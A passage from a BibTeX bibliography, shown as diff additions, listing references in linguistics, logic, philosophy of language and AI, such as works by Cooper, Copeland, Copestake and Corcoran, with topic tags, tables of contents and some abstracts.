Pemberton}, + title = {Linguistic Concepts and Methods in {CSCW}}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + contentsnote = {TC: + 1. John Connolly and Lyn Pemberton, "Introduction" + 2. Christine Cheepen and James Monaghan, "Linguistics and Task + Analysis in CSCW" + 3. Katherine Morton, "Spoken Language and Speech Synthesis in + CSWCW" + 4. Stephanie A. Robertson, "The Contribution of Genre to CSCW" + 5. Alison Newlands, Anne Anderson and Jim Mullin, "Dialogue + Structure and Cooperative Task Performance + in two CSCW Environments" + 6. Anthony Clarke, John Connolly, Steven Garner and Hilary + Palmen, "A Language of Cooperation?" + 7. John Connolly, "Some Grammatical Characteristics of Cooperative + Spoken Dialog in a CSCW Context" + 8. Pat Healey and Carl Vogel, A Semantic Framework for CSCW + 9. Julian Newman, "Semiotics, Information and Cooperation" + 10. Duska Rosenberg, "Socioinguistic Inquiriy + Situation + Theory = Contribution to CSCW??" + 11. Lyn Pemberton, "Telltales and Overhearers: Participant Roles in + Electronic Mail Communication" + 12. John Levine and Chris Mellish, "CORECT: Using Natural + Language Generation as an Integral Part of a CSCW + Tool for Collaborative Requirements Capture" + 13. Christophe Godereaux, Korinna Diebel, Pierre-Oivier El + Guedji, Frederic Revolta and Pierre Nugues, "An + Interactive Spoken Dialogue Interface to Virtual Worlds" + 14. Jeremy Fox, "Computer Mediated Communication in Foreign + Language Learning" + 15. Larry Selinker, "Understanding the `Good and Bad Language + Learner': CSCW as a Necessary Tool" + }, + ISBN = {3-540-19984-5}, + xref = {Review: honeycutt:1998a}, + topic = {CSCW;nl-processing;} + } + +@incollection{ connolly:2001a, + author = {John H. Connolly}, + title = {Context in the Study of Human Languages and Computer + Programming Languages: A Comparison}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {116--128}, + address = {Berlin}, + topic = {context;programming-languages;} + } + +@incollection{ conrad:1988a, + author = {Michael Conrad}, + title = {The Price of Programmability}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {285--307}, + address = {Oxford}, + topic = {foundations-of-computationcomplexity-theory;complexity; + theory-of-computation;} + } + +@incollection{ constable:1998a, + author = {R.L. Constable}, + title = {Types in Logic, Mathematics, and Programming}, + booktitle = {Handbook of Proof Theory}, + publisher = {Elsevier Science Publishers}, + year = {1998}, + editor = {Samuel R. Buss}, + pages = {683--786}, + address = {Amsterdam}, + xref = {Review: arai:1998k.}, + topic = {proof-theory;type-theory;} + } + +@book{ conte-etal:1977a, + editor = {Amedeo G. Conte and Risto Hilpinen and Georg Henrik von Wright}, + title = {Deontische {L}ogik und {S}emantik}, + publisher = {Athenaion}, + year = {1977}, + address = {Wiesbaden}, + ISBN = {3799706453}, + topic = {deontic-logic;philosophy-of-language;} + } + +@unpublished{ contreras:1980a, + author = {Heles Contreras}, + title = {On the Explanatory Adequacy of {M}ontague Grammar}, + year = {1980}, + note = {Unpublished manuscript, Linguistics Department, University + of Washington.}, + topic = {Montague-grammar;foundations-of-semantics;} + } + +@unpublished{ contreras:1980b, + author = {Heles Contreras}, + title = {Discontinuous Constituents in {S}panish}, + year = {1980}, + note = {Unpublished manuscript, Linguistics Department, University + of Washington.}, + topic = {discontinuous-constituents;} + } + +@incollection{ conway-etal:1977a, + author = {J.H. Conway and M.S. Patterson and U.S.S.R. Moscow}, + title = {A Headache-Causing Problem}, + booktitle = {Een pak met een korte broek: Papers Presented to + H.W. Lenstra on the Occasion of the Publication of his + ``Euclisische Getallenlicamen''}, + editor = {J.K. Lenstra {et al.}}, + year = {1977}, + note = {Private Publication.}, + missinginfo = {A's 1st name.}, + topic = {Conway-paradox;} + } + +@article{ cook_g:1990a, + author = {Guy Cook}, + title = {Transcribing Infinity. Problems of Context Representation}, + journal = {Journal of Pragmatics}, + year = {1990}, + volume = {1}, + number = {1}, + pages = {1--24}, + topic = {context;} + } + +@incollection{ cook_j-gallagher:1994a, + author = {J. Cook and John P. Gallagher}, + title = {A Transformation System for + Definite Programs Based on Termination Analysis}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {51--68}, + address = {Berlin}, + topic = {logic-programming;} + } + +@book{ cook_m:1994a, + author = {Maeve Cook}, + title = {Language and Reason: A Study of {H}abermas's Pragmatics}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-53145-3}, + topic = {continental-philosophy;pragmatics;philosophy-of-language;} + } + +@inproceedings{ cook_sa:1971a, + author = {Stephen A. Cook}, + title = {The Complexity of Theorem Proving Procedures}, + booktitle = {Proceedings of the Third {ACM} Symposium on + Theory of Computing}, + year = {1971}, + pages = {151--158}, + topic = {complexity-theory;} + } + +@article{ cook_sa:1983a, + author = {Stepnen A. Cook}, + title = {An Overview of Computational Complexity}, + journal = {Communications of the Association for Computing Machinery}, + year = {1983}, + volume = {26}, + pages = {401--408}, + missinginfo = {number}, + topic = {complexity-theory;} + } + +@unpublished{ cook_sa:2000a, + author = {Stepnen A. Cook}, + title = {The {P} Versus {NP} Problem}, + year = {2000}, + note = {Computer Science Department, University of Toronto. + Available at + http://www.cs.toronto.edu/\user{}sacook/homepage/PvsNP.ps.}, + topic = {complexity-theory;P=NP-problem;} + } + +@book{ cook_vj:1988a, + author = {Vivian J. Cook}, + title = {Chomsky's Universal Grammar: An Introduction}, + publisher = {Blackwell Publishers}, + year = {1988}, + address = {Oxford}, + topic = {nl-syntax;GB-syntax;} + } + +@book{ cooke_m:1994a, + author = {Maeve Cooke}, + title = {Language and Reason}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {Habermas;continental-philosophy;pragmatics;} + } + +@article{ cooke_rm:1983a, + author = {Roger M. Cooke}, + title = {A Result in {R}enyi's Conditional Probability Theory with + Application to Subjective Probability}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {1}, + pages = {19--32}, + topic = {probability;probability-kinematics;} + } + +@article{ cooke_rm:1986a, + author = {Roger M. Cooke}, + title = {Conceptual Fallacies in Subjective Probability}, + journal = {Topoi}, + year = {1986}, + volume = {5}, + pages = {69--74}, + missinginfo = {number}, + topic = {foundations-of-probability;} + } + +@book{ cooke_rm:1991a, + author = {Roger M. Cooke}, + title = {Experts in Uncertainty}, + publisher = {Oxford University Press}, + year = {1991}, + address = {Oxford}, + topic = {foundations-of-probability;statistical-inference;} + } + +@book{ cooper_a:1995a, + author = {Alan Cooper}, + title = {About Face: The Essentials of User Interface Design}, + publisher = {IDG Books Worldwide}, + year = {1995}, + address = {Foster City, California}, + ISBN = {1568843224 (pbk)}, + topic = {HCI;} + } + +@article{ cooper_de:1972a, + author = {Devid E. Cooper}, + title = {Definitions and `Clusters'\,}, + journal = {Mind}, + year = {1972}, + volume = {81}, + number = {324}, + pages = {495--503}, + topic = {definitions;} + } + +@book{ cooper_de:1973a, + author = {David E. Cooper}, + title = {Philosophy and the Nature of Language}, + publisher = {Longman}, + year = {1973}, + series = {Longman Linguistic Library}, + address = {London}, + contentnote = {TC: + 1. Introduction + 2. Meaning + 3. Meaning in Philosophy + 4. Language and culture + 5. Grammar and mind + 6. Truth, the a priori and synonymity + 7. Speech acts + }, + topic = {philsopy-of-language;philosophy-and-linguistics;} + } + +@incollection{ cooper_de:1978a, + author = {David E. Cooper}, + title = {The Deletion Argument}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {189--194}, + address = {Minneapolis}, + topic = {philosophy-of-linguistics;linguistics-methodology;} + } + +@incollection{ cooper_de:1993a, + author = {David E. Cooper}, + title = {Truth and Metaphor}, + booktitle = {Knowledge and Language: Volume {III}, Metaphor and + Knowledge}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {F.R. Ankersmit and J.J.A. Mooij}, + pages = {37--47}, + address = {Dordrecht}, + topic = {metaphor;pragmatics;} + } + +@article{ cooper_gf:1990a, + author = {Gregory F. Cooper}, + title = {The Computational Complexity of Probabilistic Inference + using Bayesian Belief Networks}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {42}, + number = {3}, + pages = {393--405}, + topic = {complexity-in-AI;Bayesian-networks;} + } + +@inproceedings{ cooper_gf:1992a, + author = {Gregory F. Cooper}, + title = {A {B}ayesian Method for Learning Belief Networks that Contain + Hidden Variables}, + booktitle = {Proceedings of the Workshop on Knowledge Discovery in + Databases}, + year = {1992}, + pages = {112--124}, + missinginfo = {Editor, Organization, Address}, + topic = {machine-learning;Bayesian-networks;} + } + +@article{ cooper_gf-herskovits:1992a, + author = {Gregory F. Cooper and E.H. Herskovits}, + title = {A {B}ayesian Method for the Induction of + Probabilistic Networks from Data}, + journal = {Machine Learning}, + year = {1992}, + volume = {9}, + pages = {309--347}, + missinginfo = {A's 1st name, number}, + topic = {Bayesian-networks;machine-learning;} + } + +@article{ cooper_mc:1989a, + author = {Martin C. Cooper}, + title = {An Optimal K-Consistency Algorithm}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {41}, + number = {1}, + pages = {89--95}, + acontentnote = {Abstract: + This paper generalizes the arc-consistency algorithm of Mohr and + Henderson [4] and the path-consistency algorithm of Han and Lee + [2] to a k-consistency algorithm (arc-consistency and + path-consistency being 2-consistency and 3-consistency, + respectively). The algorithm is a development of Freuder's + synthesis algorithm [1]. It simultaneously establishes + i-consistency for each 1 <= i <= k. It has worst-case time + and space complexity which is optimal when k is a constant and + almost optimal for all other values of k. + In the case that all order-i constraints exist for all 1 <= i + <= n, this algorithm is a solution to the consistent labeling + problem with almost optimal worst-case time and space + complexity. } , + topic = {arc-(in)consistency;AI-algorithms;complexity-in-AI;} + } + +@article{ cooper_mc-etal:1994a, + author = {Martin C. Cooper and David A. Cohen and Peter G. + Jeavons}, + title = {Characterising Tractable Constraints}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {65}, + number = {2}, + pages = {347--361}, + acontentnote = {Abstract: + We present algorithms for finding out optimal cost solutions of + an explicit AND/OR graph. We show that these new algorithms can + work on AND/OR graphs containing cycles. Finally, we show how + these algorithms can be incorporated in implicit graph search + schemes like AO* so that they work for transformation rules + which lead to graphs with cycles.}, + topic = {and/or-graphs;optimality;search;} + } + +@article{ cooper_mc:1997a, + author = {Martin C. Cooper}, + title = {Fundamental Properties of Neighbourhood Substitution in + Constraint Satisfaction Problems}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {90}, + number = {1--2}, + pages = {1--24}, + acontentnote = {Abstract: + In combinatorial problems it is often worthwhile simplifying the + problem, using operations such as consistency, before embarking + on an exhaustive search for solutions. Neighbourhood + substitution is such a simplification operation. Whenever a + value x for a variable is such that it can be replaced in all + constraints by another value y, then x is eliminated. This paper + shows that neighbourhood substitutions are important whether the + aim is to find one or all solutions. It is proved that the + result of a convergent sequence of neighbourhood substitutions + is invariant modulo isomorphism. An efficient algorithm is given + to find such a sequence. It is also shown that to combine + consistency (of any order) and neighbourhood substitution, we + only need to establish consistency once.}, + topic = {constraint-satisfaction;AI-algorithms-analysis;} + } + +@article{ cooper_mc:1999a, + author = {Martin C. Cooper}, + title = {Linear-Time Algorithms for Testing the Realisability + of Line Drawings of Curved Objects}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {108}, + number = {1--2}, + pages = {31--68}, + topic = {line-drawings;spatial-reasoning;complexity-in-AI;} + } + +@article{ cooper_mc:2000a, + author = {Martin C. Cooper}, + title = {Linear Constraints for the Interpretation of Line Drawings + of Curved Objects}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {119}, + number = {1--2}, + pages = {235--258}, + acontentnote = {Abstract: + Drawings of curved objects often contain many linear features: + straight lines, colinear or coplanar points, parallel lines and + vanishing points. These linear features give rise to linear + constraints on the 3D position of scene points. The resulting + problem can be solved by standard linear programming techniques. + An important characteristic of this approach is that instead of + making a strong assumption, such as all surfaces are planar, + only a very weak assumption, which disallows coincidences and + highly improbable objects, needs to be made to be able to deduce + planarity. + The linear constraints, combined with junction-labelling + constraints, are a powerful means of discriminating between + possible and impossible line drawings. They provide an important + tool for the machine reconstruction of a 3D scene from a + human-entered line drawing. + } , + topic = {visual-reasoning;line-drawings;} + } + +@article{ cooper_pr-swain_mj:1992a, + author = {Paul R. Cooper and Michael J. Swain}, + title = {Arc Consistency: Parallelism and Domain Dependence}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {58}, + number = {1--3}, + pages = {207--235}, + acontentnote = {Abstract: + This paper discusses how better arc consistency algorithms for + constraint satisfaction can be developed by exploiting + parallelism and domain-specific problem characteristics. A + massively parallel algorithm for arc consistency is given, + expressed as a digital circuit. For a constraint satisfaction + problem with n variables and a labels, this algorithm has a + worst-case time complexity of O(na), significantly better than + that of the optimal uniprocessor algorithm. An algorithm of + intermediate parallelism suitable for implementation on a SIMD + machine is also given. Analyses and implementation experiments + are shown for both algorithms. A method for exploiting + characteristics of a problem domain to achieve arc consistency + algorithms with better time and space complexity is also + discussed. A general technique for expressing domain knowledge + and using it to develop optimized arc consistency algorithms is + described. The domain-specific optimizations can be applied + analogously to any of the arc consistency algorithms along the + sequential/parallel spectrum.}, + topic = {arc-(in)consistency;constraint-satisfaction; + parallel-processing;} + } + +@incollection{ cooper_r-ginzberg:2002a, + author = {Robin Cooper and Jonathan Ginzberg}, + title = {Using Dependent Record Types in Clarification Ellipsis}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {45--52}, + address = {Edinburgh}, + topic = {ellipsis;clarification-dialogues;HPSG;type-theory;} + } + +@incollection{ cooper_r1-parsons_t2:1976a, + author = {Robin Cooper and Terence Parsons}, + title = {Montague Grammar, Generative Semantics and Interpretive + Semantics}, + booktitle = {Montague Grammar}, + publisher = {Academic Press}, + year = {1976}, + editor = {Barbara H. Partee}, + pages = {311--362}, + address = {New York}, + topic = {Montague-grammar;generative-semantics;nl-semantics;} + } + +@incollection{ cooper_r1:1978a, + author = {Robin Cooper}, + title = {{M}ontague's Theory of Translation and Transformational Syntax}, + booktitle = {Meaning and Translation: Philosophical and Logical + Approaches}, + publisher = {New York University Press}, + year = {1978}, + editor = {Franz Guenthner and Monica Guenthner-Reutter}, + pages = {307--325}, + address = {New York}, + contentnote = {Discusses how to do Montague interpretation off of deep + structure in standard theory.}, + topic = {syntax-semantics-interface;} + } + +@incollection{ cooper_r1:1978b, + author = {Robin Cooper}, + title = {Variable Binding and Relative Clauses}, + booktitle = {Formal Semantics and Pragmatics for Natural Languages}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Franz Guenthner and S.J. Schmidt}, + pages = {131--170}, + address = {Dordrecht}, + topic = {nl-semantics;relative-clauses;} + } + +@unpublished{ cooper_r1:1978c, + author = {Robin Cooper}, + title = {A Fragment of {E}nglish with Questions and Relative Clauses}, + year = {1978}, + note = {Unpublished manuscript, University of Wisconsin.}, + topic = {Montague-Grammar;interrogatives;relative-clauses;} + } + +@unpublished{ cooper_r1:1979a, + author = {Robin Cooper}, + title = {Bach's Passive, Polysynthetic Languages, Temporal + Adverbs, and Free Deletions}, + year = {1979}, + note = {Unpublished manuscript, University of Wisconsin.}, + topic = {Montague-Grammar;passive;adverbs;} + } + +@book{ cooper_r1:1983a, + author = {Robin Cooper}, + title = {Quantification and Syntactic Theory}, + publisher = {D. Reidel Publishing Co.}, + year = {1983}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifier-scope;syntax-semantics-interface; + Montague-grammar;presupposition;pragmatics;} + } + +@article{ cooper_r1:1986a, + author = {Robin Cooper}, + title = {Tense and Discourse Location in Situation Semantics}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {1}, + pages = {17--36}, + topic = {nl-tense;situation-semantics;} + } + +@incollection{ cooper_r1:1988a, + author = {Robin Cooper}, + title = {Facts in Situation Theory: Representation, Psychology, + or reality?}, + booktitle = {Mental Representations: The Interface Between Language and + Reality}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Ruth Kempson}, + pages = {49--61}, + address = {Cambridge, England}, + topic = {situation-semantics;cognitive-semantics;facts;} + } + +@book{ cooper_r1-etal:1990a, + editor = {Robin Cooper and Kuniaki Mukai and John Perry}, + title = {Situation Theory and its Applications}, + publisher = {Center for the Study of Language and Information}, + year = {1990}, + address = {Stanford, California}, + ISBN = {0937073555 (v. 1)}, + topic = {situation-theory;situation-semantics;} +} + +@unpublished{ cooper_r1:1993a, + author = {Robin Cooper}, + title = {Towards a General Semantic Framework}, + year = {1993}, + note = {Unpublished manuscript, Centre for Cognitive Science, + University of Edinburgh.}, + topic = {nl-semantics;foundations-of-semantics;} + } + +@incollection{ cooper_r1:1996a, + author = {Robin Cooper}, + title = {The Role of Situations in Generalized Quantifiers}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {65--86}, + topic = {nl-semantics;situation-semantics; + generalized-quantifiers;} + } + +@article{ cooper_r2-etal:1996a, + author = {R. Cooper and J. Fox and J. Farrington and T. Shallice}, + title = {A Systematic Methodology for Cognitive Modeling}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {85}, + number = {1--2}, + pages = {3--44}, + topic = {cognitive-architectures;cognitive-modeling;SOAR;} + } + +@article{ cooper_sb:2001a, + author = {S. Barry Cooper}, + title = {Review of {\it Theories of Computability}, by + {N}icholas {P}ippinger}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {1}, + pages = {140--141}, + xref = {Review of pippinger:1997a.}, + topic = {computability;} + } + +@book{ cope:1991a, + author = {David Cope}, + title = {Computers and Musical Style}, + publisher = {A-R Editions}, + year = {1991}, + address = {Madison, Wisconsin}, + ISBN = {0895792567 (hardcover)}, + xref = {Review: berger_j:1996a.}, + topic = {AI-and-music;} + } + +@article{ copeland:1979a, + author = {B. Jack Copeland}, + title = {On When a Semantics is Not a Semantics: Some Reasons + for Disliking the {R}outley-{M}eyer Semantics for + Relevance Logic}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {4}, + pages = {399--413}, + topic = {relevance-logic;} + } + +@book{ copeland:1993a, + author = {B. Jack Copeland}, + title = {Artificial Intelligence: A Philosophical Introduction}, + publisher = {Blackwell Publishers}, + year = {1993}, + address = {Oxford}, + topic = {AI-intro;philosophy-AI;} + } + +@article{ copeland:1994a, + author = {B. Jack Copeland}, + title = {On Vague Objects, Fuzzy Logic, and Fractal Boundaries}, + journal = {Southern Journal of Philosophy, Supplementary Volume}, + year = {1994}, + volume = {33}, + pages = {83--96}, + topic = {vagueness;identity;fuzzy-logic;} + } + +@book{ copeland:1996a, + editor = {B. Jack Copeland}, + title = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + contentnote = {TC: + 1. B. Jack Copeland, "Arthur {P}rior's Life and Legacy", pp. 1--40 + 2. Peter Grifton, "Introduction" (To two essays by {A}rhur + {P}rior on Temporal Realism), pp. 43--44 + 3. Arthur N. Prior, "A Statement of Temporal Realism", pp. 45--46 + 4. Arthur N. Prior, "Some Free Thinking about Time", pp. 47--51 + 5. B. Jack Copeland, "Tree Formulations of Tense + Logic", pp. 53--67 + 6. Dov Gabbay and Ian Hodkinson, "Temporal Logic in the Context + of Databases", pp. 69--87 + 7. Rita Rodriguez and FrankAnger, "Prior's Temporal Legacy in + Computer Science", pp. 89--109 + 8. Richard Sylvan, "Other Withered Stumps of Time", pp. 111--130 + 9. Carew Meredith and Arthur N. Prior, "Interpretations of + Different Modal Logics in the `Property + Calculus{'}", pp. 133--168 + 10. Johan van Benthem, "Modal Logic as a Theory of + Information", pp. 135--168 + 11. Kit Fine and Gerhard Schurz, "Transfer Theorems for + Multimodal Logics", pp. 169--213 + 12. Lloyd Humberstone, "Homophony, Validity, + Modality", pp. 215--236 + 13. Nuel D. {Belnap, Jr.}, "Agents in Branching + Time", pp. 239--271 + 14. Graham Oddie, "The Consequences of Action", pp. 273--299 + 15. Krister Segerberg, "To Do and Not to Do", pp. 301--313 + 16. Robert Bull, "Logics Without Contraction {I}", pp. 317--336 + 17. Martin Bunder, "Logics Without Contraction {II}", pp. 337--349 + 18. Neil Tennant, "Delicate Proof Theory", pp. 351--385 + 19. Rom Harr\'e, "There is No Time Like the Present", pp. 389--391 + 20. Karel Lambert, "Russellian Names: Notes on a Theory of {A}rthur + {P}rior", pp. 411--417 + 21. Peter Loptson, "Prior, Plantinga, Haecceiity, and the + Possible", pp. 419--435 + 22. Mark Richard, "Propositional Quantification", pp. 437--459 + 23. Roger Teichman, "Statements of Property-Identity and + Event-Identity", pp. 461--476 + 24. Graham Priest, "Some Priorities of {B}erkeley", pp. 479--487 + 25. Michael Resnik, "Ought There to be One + Logic?", pp. 489--517 + 26. Peter {\O}hrstrom and Olav Flo, "Bibliography of {P}rior's + Philosophical Writings", pp. 519--532 + } , + xref = {Review: menzel:2000a.}, + topic = {philosophical-logic;temporal-logic;modal-logic;Prior;} + } + +@incollection{ copeland:1996b, + author = {B. Jack Copeland}, + title = {Arthur {P}rior's Life and Legacy}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {1--40}, + address = {Oxford}, + topic = {Prior;} + } + +@incollection{ copeland:1996c, + author = {B. Jack Copeland}, + title = {Tree Formulations of Tense Logic}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {53--67}, + address = {Oxford}, + topic = {temporal-logic;proof-theory;} + } + +@article{ copeland:1997b, + author = {B. Jack Copeland}, + title = {Vague Identity and Fuzzy Logic}, + journal = {The Journal of Philosophy}, + year = {1997}, + volume = {94}, + number = {10}, + pages = {514--534}, + topic = {vagueness;identity;fuzzy-logic;} + } + +@article{ copeland:2000a, + author = {B. Jack Copeland}, + title = {Nature versus Wide Mechanism: Including a Re-Examination + of {T}uring's Views on the Mind-Machine Issue}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {1}, + pages = {5--32}, + topic = {mind-body-problem;philosophy-of-computation;Turing;} + } + +@article{ copeland-proudfoot:2000a, + author = {Jack Copeland and Diane Proudfoot}, + title = {What {T}uring Did after He Invented the Universal {T}uring + Machine}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {4}, + pages = {491--509}, + topic = {Turing;history-of-computer-science;history-of-AI;} + } + +@article{ copeland:2002a, + author = {B. Jack Copeland}, + title = {The Genesis of Possible Worlds Semantics}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {2}, + pages = {99--137}, + topic = {possible-worlds-semantics;history-of-logic;} + } + +@unpublished{ copestake:1990a, + author = {Ann Copestake}, + title = {An Approach to Building the Hierarchical Element of a + Lexical Knowledge Base from a Machine Readable Dictionary}, + year = {1990}, + note = {Unpublished manuscript, Computer Laboratory, University of + Cambridge}, + topic = {computational-lexicography;machine-readable-dictionaries;} + } + +@incollection{ copestake:1993a, + author = {Ann Copestake}, + title = {Defaults in Lexical Representation}, + booktitle = {Inheritance, Defaults, and the Lexicon}, + publisher = {Cambridge University Press}, + year = {1993}, + editor = {Ted Briscoe and Valeria de Paiva and Ann Copestake}, + pages = {223--245}, + address = {Cambridge, England}, + topic = {inheritance;computational-lexicography;} + } + +@incollection{ copestake:1995a, + author = {Ann Copestake}, + title = {The Representation of Group Denoting Nouns in a Lexical + Knowledge Base}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {207--231}, + address = {Cambridge, England}, + topic = {nl-kr;computational-lexical-semantics;plural;} + } + +@article{ copestake-briscoe:1995a1, + author = {Ann Copestake and Ted Briscoe}, + title = {Semi-Productive Polysemy and Sense Extension}, + journal = {Journal of Semantics}, + year = {1995}, + volume = {12}, + pages = {15--17}, + missinginfo = {number}, + topic = {polysemy;} + } + +@incollection{ copestake-briscoe:1995a2, + author = {Ann Copestake and Ted Briscoe}, + title = {Semi-Productive Polysemy and Sense Extension}, + booktitle = {Lexical Semantics: The Problem of Polysemy}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {James Pustejovsky and Brian Boguraev}, + pages = {15--67}, + address = {Oxford}, + topic = {polysemy;} + } + +@inproceedings{ copestake-lascarides:1997a, + author = {Ann Copestake and Alex Lascarides}, + title = {Integrating Symbolic and Statistical Representations: The + Lexicon Pragmatics Interface}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + Association for Computational Linguistics}, + year = {1997}, + pages = {136--143}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {lexical-semantics;compound-nouns;lexical-disambiguation; + pragmatics;corpus-statistics;discourse-representation-theory;} + } + +@incollection{ copi:1976a, + author = {Irving M. Copi}, + title = {A Problem in {P}lato's Laws}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {627--639}, + address = {Dordrecht}, + topic = {Plato;philosophy-of-law;} + } + +@article{ copp_d:1997a, + author = {David Copp}, + title = {Defending the Principle of Alternate Possibilities: + Blameworthiness and Moral Responsibility}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {4}, + pages = {441--456}, + contentnote = {Evidently Frankfurt argued in frankfurt:1969a, giving + examples, that you can be responsible even if you could not + have done otherwise. The purpose of this paper is to refute + this interpretation of the examples.}, + topic = {freedom;blameworthiness;} + } + +@article{ coradeschi-etal:2000a, + author = {Silvia Coradeschi and Lars Karlsson and Peter Stone + and Tucker Balch and Gerhard Kraetzschmar and Minoru Asada}, + title = {Overview of {R}obo{C}up-99}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {3}, + pages = {11--18}, + topic = {robotics;RoboCup;} + } + +@incollection{ corazza-demori:1998a, + author = {Anna Corazza and Renato de Mori}, + title = {On the Use of Formal Grammars}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {523--561}, + address = {New York}, + topic = {grammar-formalisms;spoken-dialogue-systems;} + } + +@article{ corazza:2002a, + author = {Eros Corazza}, + title = {Description-Names}, + journal = {Journal of Philosophical Logic}, + year = {2002}, + volume = {31}, + number = {4}, + pages = {313--325}, + topic = {reference;proper-names;definite-descriptions;} + } + +@article{ corcoran:1972a, + author = {John Corcoran}, + title = {Review of {\em Noam Chomsky}, by {J}ohn {L}yons}, + journal = {Word}, + year = {1972}, + volume = {28}, + pages = {335--338}, + missinginfo = {number}, + topic = {Chomsky;} + } + +@incollection{ corcoran:1972b, + author = {John Corcoran}, + title = {Harris on the Structures of Language}, + booktitle = {Transformationelle Analyse}, + publisher = {Athen\"aum Verlag}, + year = {1972}, + editor = {Pl\"otz}, + pages = {275--292}, + address = {Frankfurt}, + topic = {transformational-grammar;} + } + +@incollection{ corcoran:1972c, + author = {John Corcoran}, + title = {Harris on the Structures of Language}, + booktitle = {Transformationelle Analyse}, + publisher = {Athen\"aum Verlag}, + year = {1972}, + editor = {Pl\"otz}, + pages = {275--292}, + address = {Frankfurt}, + topic = {transformational-grammar;} + } + +@incollection{ corcoran:1973a, + author = {John Corcoran}, + title = {Gaps between Logical Theory and Mathematical + Practice}, + booktitle = {The Methodological Unity of Science}, + publisher = {D. Reidel Publishing Co.}, + year = {1973}, + editor = {Mario Bunge}, + pages = {23--50}, + address = {Dordrecht}, + topic = {philosophy-of-logic;philosophy-of-mathematics;} + } + +@article{ corcoran-etal:1974a, + author = {John Corcoran and William Frank and Michael Maloney}, + title = {String Theory}, + journal = {Journal of Symbolic Logic}, + year = {1974}, + volume = {39}, + number = {4}, + pages = {625--637}, + topic = {formal-language-theory;} + } + +@incollection{ cordier:1992a, + author = {M.O. Cordier}, + title = {A Temporal Revision Model for Reasoning about World + Change}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {732--739}, + address = {San Mateo, California}, + topic = {kr;reasoning-about-change;} + } + +@inproceedings{ core:1996a, + author = {Mark Core}, + title = {Using Parsed Corpora for Structural Disambiguation in + the {TRAINS} Domain}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {345--350}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {corpus-linguistics;disambiguation;nl-interpretation;} + } + +@inproceedings{ core-allen_jf:1997a, + author = {Mark G. Core and James F. Allen}, + title = {Coding Dialogues with the {DAMSL} Annotation Scheme}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {28--35}, + organization = 